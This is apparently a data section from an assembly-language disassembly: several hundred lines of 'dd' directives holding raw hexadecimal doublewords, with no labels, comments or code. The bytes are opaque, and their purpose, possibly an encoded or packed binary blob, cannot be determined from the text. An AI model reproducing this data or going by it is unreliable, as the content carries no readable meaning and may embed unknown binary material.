		dd 0D8288076h, 57E36813h, 93B72830h, 2DF70480h,	0B9AA6DE9h
		dd 0E05A51E4h, 1256747Eh, 96050C1h, 4BD13414h, 562F0787h
		dd 0E3C02038h, 601D3252h, 6CBF0C30h, 67900F82h,	0A19B340Bh
		dd 501609ADh, 0B2520233h, 5AD330FCh, 44C16442h,	65102538h
		dd 0B4E968D1h, 7E0032AFh, 0B643ECDCh, 756FD7B3h, 0C42E29B3h
		dd 57B1C700h, 68017867h, 908BCCFh, 8BE2B7E9h, 0AC286076h
		dd 9B20FF5Fh, 72C8BE0Fh, 570C6F68h, 9137F968h, 0F726BA82h
		dd 0C2869214h, 0C67DEB24h, 0FB2DD080h, 482A525Ch, 0F304BD5Ah
		dd 0F849081Fh, 0AE844FEBh, 65600787h, 0B5521A0Ah, 32284747h
		dd 64B7064Ah, 65ABD14Eh, 0E2456C69h, 4D5031C7h,	635E410Eh
		dd 0E01E2813h, 0A52A7768h, 58C6892Ch, 4A341E7Fh, 134DE753h
		dd 5E40ACE9h, 592974BBh, 0E65A9F2Fh, 0A6D68702h, 7DDE01D0h
		dd 857C4432h, 8A8512Fh,	0FE14CA3Ch, 0C054139Fh,	9313CE4h
		dd 5276A704h, 44094250h, 80817ADDh, 620605ADh, 3DC82DE9h
		dd 510833D3h, 9E9524F2h, 14794C0Ah, 460CBF24h, 0C67D8649h
		dd 0F25500A3h, 0D4C18118h, 504E9504h, 0E0E190C0h, 3BFA0430h
		dd 0D4998BE9h, 0F892EB19h, 0B6CC5755h, 0DF0B1298h, 811BD628h
		dd 0DCE90694h, 0B9015828h, 446D111Fh, 79642081h, 625F8E30h
		dd 7CF23556h, 54F10916h, 0C600D215h, 424A21EEh,	0CE015504h
		dd 15A8C0E9h, 4424AC3Bh, 0F3808015h, 0DE8852FEh, 9CFAF0E4h
		dd 0C31A226Bh, 92A9C1EAh, 0E6E5D87Eh, 0B84ADB40h, 2F0B7DF6h
		dd 0ED58548Ah, 6CCCB580h, 5DB826FAh, 0D9075Ch, 259B2491h
		dd 0BD41CFE9h, 6F253767h, 93E9869Fh, 68628B91h,	5D30A613h
		dd 1359973Ah, 6915C1A6h, 9C542632h, 0A8D5BE92h,	0FECD94D8h
		dd 0E6AB5BA7h, 5252590h, 0D1E2BA0Bh, 425FED1Ch,	0D5014606h
		dd 31259A40h, 0E9296209h, 0BD1658B2h, 0F9C14AC2h, 79A95719h
		dd 0BC88D689h, 0A37D07F4h, 5F0540F7h, 11904772h, 0FC19B825h
		dd 77F53C3h, 6C02785Bh,	5D47C280h, 0DE30E8E0h, 0BB4FE1FAh
		dd 1C20B52Dh, 0E17912CCh, 38DC007Bh, 0E9841E86h, 0B20B675Ah
		dd 6231F121h, 816A8EE9h, 87F47F40h, 0B8B49882h,	0DD649F99h
		dd 16402AF0h, 3AA3368h,	4F4A3443h, 2F70791h, 74C42078h
		dd 0C83107D2h, 94491A77h, 2DD1955Eh, 0E9C34CA4h, 81710075h
		dd 4239C7E2h, 0D5756859h, 0F01221CBh, 6957760Ah, 0D3D0AD69h
		dd 60F38102h, 76536Bh
		dd 98B43CFEh, 5E48297Ch, 7F7A0757h, 0CBF0398Dh,	60D93BC5h
		dd 981D3622h, 8595D144h, 6CC1318Eh, 317A19BDh, 7FAC6AC6h
		dd 2F92F531h, 7CD613Ah,	0C2BB0089h, 49284806h, 5B94A210h
		dd 81C7ED04h, 604E0012h, 4D06EC77h, 7F5D80A0h, 86EE25h
		dd 38F40585h, 0B2125D43h, 0F29AA417h, 706D89B7h, 0F75B4F35h
		dd 5B3C3AC8h, 8E20C89Dh, 9A2E1280h, 7E730C0Eh, 5030E90Dh
		dd 0CEEA5FE8h, 19DB3D11h, 5A018C90h, 0A7034185h, 0B53C3D60h
		dd 18972EABh, 5AEF18E9h, 0F497BA31h, 2FF59CD7h,	0E989ADE7h
		dd 0BF1720CDh, 5EAB7854h, 55740970h, 742AAD00h,	893D03C4h
		dd 91B260FDh, 761E4B1Bh, 829DB029h, 88FB5408h, 680E9959h
		dd 5AE33222h, 18655D2Dh, 8AAC712Dh, 84F127FBh, 0C102B60Fh
		dd 3E52F24Fh, 79F54321h, 0B34DCC4Ah, 0A95604D3h, 8975ABE5h
		dd 27171CF9h, 0E67EE8D2h, 43F10248h, 0D1E921FCh, 64521978h
		dd 6BCD1047h, 0B25AAEC8h, 0BA94FF01h, 0B8887C94h, 5EFB20BDh
		dd 14C38E79h, 2BA25058h, 74309774h, 26E92819h, 9254A699h
		dd 6D75BF5Fh, 44EFBF0Ah, 0B5B4E978h, 0D995A746h, 2C7FBBB2h
		dd 89AFAD96h, 591EB68h,	5C163A4Bh, 0E9A84EA8h, 0C4935524h
		dd 4A055940h, 17BF472h,	389DF52Dh, 70C32177h, 0AB4F8F89h
		dd 17E58C9h, 3A488EA6h,	0CE208A2Dh, 0EA81AD15h,	35F71F73h
		dd 3F750C82h, 16F73C40h, 0B9BA2084h, 8F3A7BAAh,	18BFE455h
		dd 5D14FFE9h, 241ECEF2h, 0A0CB6E95h, 725FD108h,	4029E82Bh
		dd 2DCF17D5h, 0E90FDCE5h, 7FAE3A88h, 0C621D103h, 2ACB7BD1h
		dd 0A2A5F746h, 2D5B290Ch, 2CD1ADEAh, 0F6F17D42h, 89876833h
		dd 9EC6B768h, 36E9550Bh, 0C650E817h, 5A04043Ah,	0C4FE0148h
		dd 4A08142Dh, 31E95BB0h, 86CC874Dh, 0E010D642h,	82C6A5D8h
		dd 5B4A6851h, 3CB640A2h, 0E795407Fh, 0A0989DDAh, 10D77806h
		dd 36255FA2h, 7A28B451h, 9FCBCA2Ch, 5B2085E2h, 0D1D2960Fh
		dd 277DDE0h, 42B4FC88h,	6675CC25h, 0AD4BBD1Ah, 0C010DC3Bh
		dd 666E122Ch, 0F5FA0E5Ah, 57A644F0h, 4FE92240h,	0CA5E43E4h
		dd 45A252A9h, 8350C257h, 92F2124Fh, 0E2895F88h,	545159A0h
		dd 0B77EE9h, 4D3825C2h,	54E03F8h, 3561797Bh, 68669A8h
		dd 58C138C1h, 6CCA3768h, 46C79600h, 0CC4C84F1h,	0A3C3B041h
		dd 0E5FB61DEh, 7333A8E9h, 0BB5301DDh, 2C23386Fh, 0B480C82h
		dd 0F0C02201h, 84B69E61h, 3CAF449h, 7CB470D2h, 51BC66F9h
		dd 405A238Fh, 0CAB252F8h, 5EE4BBE1h, 9F5E122Ch,	0E42C80C5h
		dd 0B7825526h, 60E730B2h, 72885276h, 5AD43AFAh,	44D5E2AEh
		dd 0BBC7909Eh, 70032857h, 53DBF744h, 61A450FFh,	560C09F3h
		dd 0E280203Eh, 3937762Dh, 57A13098h, 0B24A3C15h, 5627C253h
		dd 58F3278Bh, 24F46388h, 4F7028A5h, 0D65FF3C6h,	0B84FF0h
		dd 12731B4Eh, 81331705h, 0CEA0395Bh, 91543A08h,	4FAF2D26h
		dd 9AE59541h, 26816C81h, 80033E42h, 79795043h, 0D92D1260h
		dd 7E50AF65h, 0E95A0408h, 0DBCC8771h, 6C6D0B68h, 7D856F37h
		dd 2C6CA0CAh, 0B652AC0Fh, 97C14FDBh, 9C3CDE21h,	66F88800h
		dd 0D2F65B03h, 7068D086h, 928058D1h, 0E6D0F22Dh, 0A706BBEFh
		dd 0E269138Ah, 0E85AC2ABh, 142CC219h, 0BD7A523Fh, 0DAF1012Dh
		dd 122D496h, 5E607DDAh,	0BC24277Bh, 0A6023B3Ah,	0F749E421h
		dd 0A6880589h, 997B9ACh, 5EC20928h, 47C2ECCAh, 256FEB5Eh
		dd 6EC25DEAh, 0E41CF786h, 9DFC5C4Ah, 0D98CFAF4h, 0B7755ECEh
		dd 285E7B78h, 0F280A0C0h, 7884FFBh, 0EF7DEB9Eh,	0B7098408h
		dd 9D1A7592h, 805B5D98h, 0E92EE40Bh, 0B40E40B6h, 0E4F67EF5h
		dd 7EF4FCDCh, 6F536991h, 3C3177DAh, 0D1447F43h,	0A0CDB7Dh
		dd 8578060Dh, 0C81E669Dh, 0B4047EBAh, 99B828C2h, 0C1583422h
		dd 35E04E7h, 0B8AC3875h, 4DAF71Ah, 6C2980DDh, 1229B3F3h
		dd 0F2585AD1h, 5B592DEAh, 903E1574h, 0C5E35870h, 0B040272Fh
		dd 0CD801C33h, 0F0699D1Bh, 0B04A2BEBh, 4B4FAB23h, 25515C07h
		dd 0BE9A6558h, 9F47E913h, 59A972FBh, 485A29FCh,	0B775E817h
		dd 7BD1FA32h, 0D5EBA842h, 33C16393h, 0BA326AC2h, 77885585h
		dd 0F7EBC537h, 0DDA24E82h, 93E0220h, 0E939E15Fh, 8D6A1108h
		dd 0D1822F03h, 0B57C6057h, 5782565h, 73A06F78h,	0E7092D2Ch
		dd 0F4A3E968h, 76FB981Dh, 921F1E65h, 0C4925F31h, 13C166F4h
		dd 0EA428B28h, 0B3EC8412h, 0D743C602h, 5D29BD74h, 210E80Ah
		dd 4FCD5ADDh, 5700F8F0h, 81A69BFh, 3BF78165h, 44A8645Ch
		dd 6A80418Eh, 2258F1F7h, 63896CE1h, 4A5327EFh, 97FB86A9h
		dd 0E3F050C3h, 0C0FC409Ch, 2704E226h, 0CFCA8000h, 0E00BB753h
		dd 0DBE927FAh, 3AFC6109h, 0FFB10949h, 0C088F83Eh, 4025142Eh
		dd 0B35462Ch, 5893D829h, 0EBC10101h, 25DA6103h,	57A33AE3h
		dd 12C0E692h, 0A43233FAh, 0A7848966h, 0B87150F4h, 29EC4EACh
		dd 5C58FCC3h, 0BF170055h, 800ED0Fh, 432D5E5h, 1E29C7C5h
		dd 0E551088Fh, 1BC339B9h, 0E9200C49h, 0CD4C621Ch, 0F92ECF98h
		dd 2D44F28Bh, 55DD4FEh,	0EFB4F6FFh, 0C262BB69h,	0E08C92D6h
		dd 0A1901C7Ah, 18E740A0h, 211E9A17h, 0CB450E04h, 4C6D8CAEh
		dd 52F40241h, 3A4EBF73h, 0B4B215F6h, 3B65B5Eh, 0A5AA3D6h
		dd 0BECE59E9h, 4CF16860h, 5B0F2819h, 40F498D5h,	0AE0FBEACh
		dd 920DA110h, 0C2241F49h, 4F3579E7h, 1C58A6CBh,	9444585Ah
		dd 9DAF31FEh, 0EB872F68h, 541D87E2h, 46BEE3B5h,	93DED25h
		dd 0B1395DAEh, 8AB808ABh, 26DE4212h, 4BCC088h, 0A254B468h
		dd 2F553F6Bh, 56FFC1B0h, 4371EA71h, 0A4AA02Bh, 0E6CED617h
		dd 0E9485DC1h, 0CC2B84EDh, 1150582Dh, 72418B40h, 41FD9B34h
		dd 62B62A9Fh, 0C83B5C0Ch, 0BF89742Eh, 0BA7DD42Bh, 8E8EA364h
		dd 76A8782Ah, 6702FACh,	58726AECh, 2F471950h, 3C519B40h
		dd 0A21342B5h, 0F4C4E489h, 38643918h, 32E2525Eh, 8932C7D8h
		dd 0D29BB957h, 72282FD6h, 75C1C281h, 0A6331B79h, 26AFEC2Ah
		dd 0C3F91886h, 0BD100D62h, 340A71FCh, 991205Fh,	0DA683292h
		dd 433A69C1h, 5E21625h,	3AB56F00h, 25E97440h, 2F999DDAh
		dd 48E6EED8h, 0FEA7524Eh, 0B4501440h, 0F6818334h, 0A091BACh
		dd 0FE6B86CEh, 71A501AAh, 0A73680E9h, 9CFB96B5h, 0FE9943C1h
		dd 6E16E711h, 0CAE4D545h, 0E689B85Dh, 91E09845h, 87EF8474h
		dd 528685FDh, 766EA6CBh, 3FCCFC1Fh, 0D804CEE4h,	92AE8F38h
		dd 884B9A7h, 0FC919229h, 0C106A172h, 4D581D4Ch,	36F40F0Ch
		dd 0E18525E4h, 3B02829Eh, 0FDAD20D7h, 0A2918DDDh, 6D4A5DAAh
		dd 1A75E209h, 85485D79h, 0B89C6EE9h, 0B417CB2Ch, 68B54541h
		dd 0AC26EB88h, 0BFA9C70h, 0AE5A02A9h, 59DCE227h, 105DA4C6h
		dd 35D54EEEh, 0B0E500AEh, 573A5A29h, 30C5E919h,	0CD79C6D3h
		dd 4C6592Fh, 54828EBCh,	0D4D5C9E9h, 0ED574D62h,	0C9D32BF8h
		dd 0EB439025h, 562D023Ch, 8928C842h, 38B5967Fh,	0AD34E952h
		dd 0FA2D4Eh, 9B0D298Ah,	51016A3Bh, 5808039Eh, 78CD0E06h
		dd 52944DA2h, 0E607CA10h, 6F2FF15Fh, 1D323F81h,	1E6E7852h
		dd 0F38BC689h, 80CA1ABBh, 0B36B46C5h, 2D8FB72Eh, 4EA63601h
		dd 6A103138h, 4F7804A3h, 801CC02Ah, 0F607CAC9h,	3E1C0D1h
		dd 6E07CF3Fh, 0A1523DF1h, 7C09CBF0h, 2CB4FFEh, 7B045B8Bh
		dd 89CC8E57h, 5DD3B85Ah, 7D8291h, 5B71EB2Dh, 5A8F7D6Ah
		dd 0F09E1312h, 0F2F25395h, 4368E9A8h, 0A56F469Eh, 0EED37B2Bh
		dd 87A194ADh, 7A382FC5h
		dd 0CBBE4B9Fh, 0B3A5CC09h, 0A66AC202h, 8707C470h, 0D0F797FEh
		dd 7CF50C3Dh, 4B681034h, 5FDAF39Ah, 4E4864E7h, 0F3E0A320h
		dd 9FEB8012h, 972B93B0h, 0B966F704h, 6FB910F8h,	0B7945B2Fh
		dd 738939B5h, 8B4B1838h, 0D7C342Ah, 10BAD7C0h, 0BD80BF97h
		dd 7DD5606Ah, 25B858B5h, 0B503F7E9h, 84934B04h,	0D32CC881h
		dd 91458997h, 0E98CB202h, 0C17348C3h, 0AD0851EDh, 0C505DD22h
		dd 0AFBD3441h, 18123900h, 2431D0B9h, 0A68A5BDDh, 0A8DC1275h
		dd 6302CD4Ch, 0D55D8E8Ah, 4FBE0125h, 0DA015663h, 80C3D42h
		dd 2B5C5528h, 2C0282AFh, 0B653E16Fh, 0A7357A06h, 0E7022E5Dh
		dd 75A8177Eh, 46276A83h, 43144F1h, 1B5287EBh, 0E7A80D96h
		dd 0E9C9E084h, 246D63E2h, 0B0060Ah, 25027C4Ah, 5A67D509h
		dd 66736768h, 8128242Bh, 0C780981h, 0BEE28080h,	13136963h
		dd 0CEE01AE9h, 69EF77D1h, 90DFF1A8h, 83331D34h,	4CF8B84Eh
		dd 899A051Fh, 3C701E9Bh, 685A0780h, 0D9028C25h,	132980D0h
		dd 0E94F42A3h, 85AA49h,	0A76C5DB9h, 9814143h, 0B44875C9h
		dd 86025A7Ch, 5FB8AFA9h, 0F821AF82h, 0C1400351h, 5F3108E8h
		dd 929F0DC8h, 0AE64401Bh, 27BE3C0h, 9D0B364Bh, 521D5E58h
		dd 0E9C04784h, 86097F96h, 57316C2Eh, 632F14A0h,	3EF3CF7Ch
		dd 10E42621h, 4028E66Eh, 281340ECh, 0F6B93256h,	9800475Ch
		dd 8178BF01h, 11043CE6h, 64E97CC3h, 89BB0ED4h, 7D3F4152h
		dd 398205AFh, 9D1A5085h, 11FCA9BEh, 0DDD2E91Ah,	0ECB576E3h
		dd 3509BE0Eh, 807F481Ah, 627DE751h, 0BB0CD374h,	69E9B943h
		dd 0C35B3B07h, 0AD768E97h, 3AC50B54h, 9C26820Ah, 0D82102B8h
		dd 80B50761h, 0B0ACF1A3h, 7D31CAAFh, 40945FCFh,	3786C3EDh
		dd 0CBB71CFAh, 0E3DBC87Eh, 0F0FE5E03h, 17B555ABh, 0A4E9098Fh
		dd 0CC970C78h, 434F02C0h, 555372C7h, 1A02FF76h,	80BD57E5h
		dd 0E90B96C1h, 968248CDh, 9984088Bh, 6E87BF20h,	40FACAE4h
		dd 0FE77E33Ah, 0F6EAD0C3h, 0F386D31Eh, 0FF08C61Bh, 0DA30AA60h
		dd 0D47B26E9h, 285B8AD6h, 0CD570885h, 16E4892Fh, 0C368124Dh
		dd 0FF374A73h, 1210A6D5h, 5E1EFD6Dh, 569A71F2h,	68DC406Ah
		dd 0F1A5F3C3h, 52267h, 2701C295h, 79F863C0h, 0DF9D6AEDh
		dd 13EEE200h, 0C0165E73h, 150DE9A9h, 0F4CD4CB7h, 0F3E65E4Dh
		dd 1A290583h, 91AE0102h, 7E804CC2h, 22F69B91h, 1E7DB7C4h
		dd 7907EEC1h, 17862FFBh, 2C51BDABh, 8BE976B0h, 4947BE91h
		dd 0C5B085h, 79C4EA28h,	86F81D77h, 17936C59h, 66E95604h
		dd 4274184h, 99FEE588h,	0BDBF603Ch, 5E80EE95h, 0FBDA3368h
		dd 0F74E5BF6h, 97047CE4h, 0E9131596h, 9CBC766Ah, 53972296h
		dd 0FB27B1FEh, 4936AF49h, 0A17AF195h, 171426B7h, 0E2F9C5F3h
		dd 0D238485h, 0FEF731A8h, 14C1399Ah, 5506BDCDh,	2DFC3806h
		dd 30D0C1ADh, 41F25020h, 99616EB3h, 718D4874h, 3E53AD50h
		dd 98A76E44h, 0A5AF5A0Ah, 6CAF7AD4h, 3FAF979Bh,	5F40857Dh
		dd 0C7A600B7h, 5434123Fh, 5B0AA998h, 0EC79C968h, 0D83B2118h
		dd 14B76453h, 547EB463h, 4E8C455Fh, 1A5C1F5Eh, 4F124B6Ah
		dd 0F512432h, 0A53C3624h, 523B2022h, 0B5D5CB59h, 13D5A0E2h
		dd 0B6D40232h, 85EE80ECh, 0DE0E6DF4h, 530EF028h, 0FD40F788h
		dd 6B045A5Bh, 2C74E8FAh, 0C921E926h, 281C65A5h,	5CCE4060h
		dd 0DA2EA7EDh, 6A36CB2h, 5974CA28h, 0D028E001h,	0D4C5E951h
		dd 0B3845122h, 7B3EC220h, 421FBAE3h, 76C284EBh,	0F129B6E9h
		dd 0EDBF6FDBh, 0F2011C72h, 62D82F29h, 47F4D131h, 7F1A95CEh
		dd 0B472EC85h, 253CC2A6h, 37BDCEC5h, 0F53CC90Eh, 32F529C9h
		dd 0E90C0728h, 29C928D4h, 772EC4h, 58E38118h, 0E9348851h
		dd 73B5D472h, 0AC54127Ah, 0BD55C0B9h, 48F43DB9h, 165E552Fh
		dd 0A6731C7Ah, 0C26B08A8h, 4BD16804h, 0D94730ABh, 0D9983857h
		dd 5D4ECB04h, 0B4A033F4h, 0A02502F3h, 0DA29C403h, 0D75DE2D7h
		dd 1B732C6Ch, 39459D2Ch, 62AD2500h, 0BAD6E9BAh,	56ABCB6Ah
		dd 652D54FEh, 10D92CA7h, 3E593BD9h, 0CE354BC9h,	4B5E0488h
		dd 122D8F12h, 0BFE7BC27h, 0BC2C0250h, 0BD4FA8D7h, 419D1C28h
		dd 34E58FE9h, 5E4BF23Ch, 95EA63B0h, 48BD774Eh, 2D58BBAFh
		dd 0F101DF5Ch, 6020A3ACh, 154FF62Eh, 79587032h,	69D6086Eh
		dd 81C5310Bh, 2D0689Bh,	14A3B33Ah, 0D3C45250h, 5B251DA6h
		dd 69FA18D6h, 0F042F7DBh, 0BFB1571Ch, 7A72B55Dh, 22DD682h
		dd 0C377F529h, 29AEFC39h, 0CFC86A29h, 7A639F5Bh, 0F105E399h
		dd 8122E60h, 7D8BDE8h, 1804E8C1h, 5452C831h, 40B26AC8h
		dd 3AB556C6h, 55D0BE7h,	828DDB32h, 0B72B6E46h, 630B8F70h
		dd 2F74F1Ch, 46EE067h, 0ADB0C257h, 336DB800h, 645D60A8h
		dd 47550417h, 2051F097h, 0B9040FEFh, 3A2436E6h,	1CF2DCC6h
		dd 405942F1h, 79922D78h, 1264F22h, 88EFB6C8h, 0EA6804A1h
		dd 9C31BF1Ah, 1925E1FBh, 0A80E576Ah, 0DFBD9243h, 7E1031D4h
		dd 0C12E7DD1h, 0F501CAEDh, 62A1D13h, 2EFAB16Eh,	0CB3B28B5h
		dd 0B9510FB0h, 3EFC969h, 4F65E9AEh, 5A82A60Dh, 0E24A76CAh
		dd 96E909E3h, 0E4D4DAE0h, 90C3E8D8h, 9006FD5Ah,	0D697F0Ch
		dd 120A0C2Eh, 0BC373A7Bh, 0CED0028h, 0E984529Ah, 8517542Bh
		dd 5F00B8F8h, 0BE9034DBh, 0A4F4BE4Bh, 23BB8828h, 835E9BC1h
		dd 790FCDC0h, 78294149h, 0B8EB400Ah, 0C958C140h, 3D512544h
		dd 0F606E08Bh, 3A74C23Fh, 60D848DCh, 0AE1EBD68h, 1820F58Eh
		dd 0AD5A5EE7h, 0AFCA026Ah, 400B586Ah, 0F8DF75BBh, 0D789275Dh
		dd 4724AF14h, 0B01F3F4Fh, 0CE723B4Fh, 0FA7942E6h, 3C75FE69h
		dd 4954C682h, 69E22CB0h, 0D6016E48h, 245BD1EEh,	188679F2h
		dd 0B9022470h, 6BB01257h, 3F46D449h, 9304CF0Bh,	72CBBA07h
		dd 0E4749769h, 0C9DC4971h, 9D0616CDh, 88A5012Bh, 3038F659h
		dd 0DE160763h, 1CFAAB0Bh, 27E8D068h, 82B6B358h,	217C09CFh
		dd 893AF16Bh, 0E4765F68h, 5AAFE963h, 0CEBA81BBh, 0B02D0178h
		dd 0BD3A8DF0h, 0B316B28h, 0E3656C55h, 39171411h, 843CA867h
		dd 5331BF57h, 94287B09h, 6DC3B5CDh, 50E590CDh, 8012C7B4h
		dd 601112F4h, 2E3B5897h, 2C1D8C88h, 849D2F3Eh, 97FA6693h
		dd 0D9115BF5h, 0E7BA60D2h, 0F35C240h, 151043EEh, 2B50A84Bh
		dd 2248912Dh, 0A6187Ch,	7CF78147h, 53C44417h, 5486CC01h
		dd 0C8702FAh, 3B94C319h, 7F07504h, 0D616F787h, 68500B08h
		dd 0C29A5F76h, 0F3823144h, 0EA71F95Eh, 5E57490Ah, 0A25F12DBh
		dd 0BBF5D358h, 24AF3321h, 0E9179D9Ch, 0D1BCF984h, 0E3445ACFh
		dd 0D343E47Ch, 6FC7431Eh, 0E5E43BDFh, 2A95C2h, 0F705E5C1h
		dd 54B4D54Bh, 0B7E302A2h, 0AEDEE97Ch, 0DC026802h, 0FB6DCF7Ah
		dd 0F8E6041Ah, 0D95D2DB9h, 0D2245B41h, 546B556Bh, 0BBC6C4B5h
		dd 9056EB32h, 17ACBD07h, 0AD0BDA20h, 4B0CD0F4h,	0D75EE2F8h
		dd 0FCBAB41Bh, 80EFF103h, 0BDEE1D92h, 565A25B7h, 54567A11h
		dd 0D955A65h, 5C5BDE01h, 0B441136Dh, 3B6119F6h,	90BCD960h
		dd 0E946161Bh, 50E9E39Ah, 11306B9Ch, 3BCFB893h,	243CE452h
		dd 8148EFC1h, 0B8578EAh, 0DA0E844Fh, 988184BBh,	0B196FD08h
		dd 9856FFEAh, 980428AFh, 842053B6h, 899C51EEh, 89B6ADBEh
		dd 0CA84FEB3h, 41F3A0B1h, 15F22BCBh, 3FED697Ah,	0A0BB9C83h
		dd 760D7F7Bh, 0DC227849h, 3A58CD78h, 77050307h,	834A637Fh
		dd 323501C0h, 56CA071Dh, 0E5DF7E4Eh, 7FC78942h,	2941237Bh
		dd 0B864B9C2h, 0C88FD83Bh
		dd 3264615Ah, 0E93828EAh, 0F700074Ah, 40A73DB8h, 0FFD0F4B7h
		dd 0C84ECC7Eh, 0D4BEC39Dh, 9040991h, 58C3FB89h,	21C2BF7Eh
		dd 0DD96D7C1h, 906CACF7h, 0B05FA210h, 0D1952624h, 0B753C026h
		dd 0F75886A7h, 9E8F2410h, 0D125389Bh, 8F7BB1DDh, 0D96E26E0h
		dd 3250E4A5h, 8D1F767h,	792521E4h, 18C3C46Bh, 411CA468h
		dd 0D9B76A2Bh, 60B5C2C9h, 7D7CE2DDh, 3EDB483h, 80050607h
		dd 0C33331F5h, 0C7EB83F4h, 3E72B62Eh, 955F70FAh, 7F4B41D1h
		dd 0E97859B4h, 29BED953h, 0A4427958h, 5D12A19Dh, 0E66A1468h
		dd 9668C36Eh, 0C43D1040h, 6F2914DDh, 9897108Ch,	63277F48h
		dd 0CC9712E6h, 0B9EF5E08h, 257A4C20h, 6B187C19h, 0CBF08255h
		dd 0E3FDA907h, 1308C0DCh, 12396629h, 95175003h,	0BE058818h
		dd 66A27D4Bh, 10EF8B4Fh, 3013B755h, 0B1F1E8F8h,	312FAC7Bh
		dd 46CD8ACh, 67219813h,	0AF04ADFDh, 0FC5DDD9Ch,	6349205h
		dd 3B3D27BFh, 0DD078064h, 0E99BC4C2h, 0B9F32265h, 5E892127h
		dd 79D07376h, 0B037AE95h, 90F397BDh, 24093A88h,	6A46032Ch
		dd 0D7DA2F40h, 7468E4E8h, 0D1E72B62h, 0B36607CAh, 6A51145h
		dd 0F1821848h, 9FF8CD4Dh, 7EB05849h, 0E5B67095h, 0A0E6801Ch
		dd 0FE6FCEC7h, 0F6F1103Ch, 2082B0F6h, 0EC9DE2A1h, 7BAE200Eh
		dd 4113BA75h, 0C0E04C4Fh, 0CB472D4Bh, 8938C1FCh, 8F2AC801h
		dd 53A6C0B6h, 4BD709B9h, 27F6EC5Ah, 9FBF957h, 0C822DAE9h
		dd 48F7C331h, 9562A283h, 0C688D810h, 3A50583Eh,	77A7CAE4h
		dd 80F7EE40h, 79B75854h, 0EEE9C121h, 169337FEh,	0ADFD2BB9h
		dd 0F0C5E9A0h, 4F6194B7h, 8BC40FCBh, 0F91D9953h, 0E7497E23h
		dd 3ED572EAh, 1EB3DA01h, 2B3C04Dh, 8006060Bh, 0CB4D86C1h
		dd 40CDB093h, 0F85829F6h, 0B2E0111Bh, 0F9EBB57Eh, 0E4DF45DAh
		dd 3CB780EDh, 471B3E05h, 31C95498h, 807809F1h, 0E554417Bh
		dd 6C4F29D9h, 0B9D217E8h, 7BF84C1Bh, 0A59AC597h, 546A7059h
		dd 0B8058E38h, 750C962h, 79FC3D15h, 6EE23BF7h, 0E93C3A34h
		dd 22E90CD1h, 0EF5822EDh, 19408321h, 0E7116D2Ah, 0BFC1E8A4h
		dd 0FE3C196h, 0D03216h,	0F1176FBBh, 0DD2138h, 0AC68575Bh
		dd 5F345E3Dh, 0A2394698h, 0D8362D3Fh, 28AD02C8h, 0FD2977FAh
		dd 780201F4h, 0F6750511h, 0C05312A8h, 5BDA21C6h, 0E44FB298h
		dd 0B5C32A88h, 5F481D7Ah, 18F41237h, 0FC1069CAh, 0EB052FB7h
		dd 0E35FD195h, 0E8D2B43Ch, 2121A408h, 206E6133h, 6A685BEDh
		dd 52CC5C5Ah, 4A3675ADh, 7972EC1Ah, 9687440h, 1EF73FCAh
		dd 0B9025B82h, 36C25F05h, 250A0A0Bh, 0DC17E5C4h, 2604293Fh
		dd 8AAF5AD3h, 0BEA426Bh, 0B859B368h, 56DFE919h,	6F4C5E22h
		dd 0D82F7238h, 0D5683D99h, 0C55A7C7Fh, 9F986EBDh, 0B4E913FCh
		dd 127C9810h, 0E0134355h, 91A8505Ch, 0BDBA1663h, 80D6B707h
		dd 33BC8EFh, 2CD7F60Ah,	201FDB0Ah, 0B50B20E2h, 517100A0h
		dd 97463A26h, 0E04F8510h, 0A77741B6h, 0E62C7EF1h, 0D5E91658h
		dd 0E9D994F0h, 0A7B15A34h, 3E72D32Bh, 0B2C50B00h, 0FE59EC28h
		dd 145348C4h, 35931C13h, 7345AF61h, 0EA346F6Ch,	52CB1EA9h
		dd 18594474h, 0A02F40F1h, 4A007765h, 0B8506094h, 17AC079Fh
		dd 0A148E9C4h, 0E5ED7521h, 0CA3C26h, 0D275C8BAh, 0E4FA3122h
		dd 4608D2D7h, 0D76E0CB2h, 53873400h, 0EF64ACBBh, 843FE331h
		dd 0D6A51FA4h, 1AD8D010h, 27138A54h, 1BFDBF7h, 9562D00h
		dd 1EF3D868h, 0E0F4503Bh, 0D566F518h, 94E9132Eh, 0F7C4B580h
		dd 4FD6BD94h, 0B07248ECh, 6D5095F4h, 0CE958F9Ah, 654FFA76h
		dd 0C79DA760h, 0DB494FAAh, 83419341h, 0EA68BE46h, 6CE354h
		dd 1707B837h, 5D057B63h, 0E3D92600h, 8AE9C389h,	84A0958Eh
		dd 4F521115h, 5A0EC097h, 537B1D19h, 6D458568h, 283B83Eh
		dd 31B85802h, 13B7D401h, 3A2201C6h, 28292D7Dh, 0C9810365h
		dd 8F3B1815h, 0C2DB406Fh, 4E29D459h, 28698BCEh,	4CC138C6h
		dd 1C5D150Dh, 18B3EA30h, 464BCD16h, 693D7089h, 0E3279821h
		dd 1EC0EAB7h, 0C923FE11h, 0CD46C489h, 5B20BE45h, 3F141FA0h
		dd 0C6BA605h, 0F218EA83h, 0E42A2C07h, 0F7C38706h, 560860D3h
		dd 0A6F0B059h, 7FB8017Ah, 0B63DB441h, 0D234523Dh, 0B5D0B215h
		dd 6C52F5h, 0C46BC12Dh,	0BF5BD4E4h, 0B210DACBh,	4C582D5Eh
		dd 8E70975Ah, 0ECF08F20h, 6DBA0468h, 0FF5D746Fh, 0BFE9E230h
		dd 6B6CB721h, 0D2850440h, 609CBC5Bh, 0E561BAAEh, 1525EDEh
		dd 8B101B9Ch, 406F6C33h, 214B5A07h, 0F68DE42h, 0FA60F643h
		dd 42AC54D1h, 4279681Ah, 97CB00B6h, 9D032269h, 0F8A5A4FBh
		dd 520694C2h, 1BC8E6D4h, 40E4F4C5h, 227E1E27h, 4739D31Ch
		dd 73DC886Bh, 8313F190h, 7EF15BDFh, 0DF5AE26Ah,	93F8C656h
		dd 7709E9CFh, 5EC92A56h, 6C662DCBh, 0BA1BE919h,	0D82FFE61h
		dd 0BF490DE7h, 1AE0274Eh, 6D498190h, 102F7390h,	5A0607F1h
		dd 0DD78D368h, 48FDF920h, 0E4069050h, 48408776h, 7804680Ah
		dd 2C07E331h, 0FBAE4BDDh, 2EE1C89Ah, 9A00B35h, 23F97FE9h
		dd 5C50B849h, 6746B53Eh, 12B05D57h, 949D7F06h, 0F97C91EDh
		dd 0B11FFC4Fh, 3A59FC99h, 56EACF04h, 0B500FE88h, 29503307h
		dd 820990F3h, 93C4DD08h, 463D3B6Bh, 4EDE7C4Bh, 5A26C2A2h
		dd 86CD41F5h, 0FA883D60h, 17979692h, 42F9045Eh,	0A8680785h
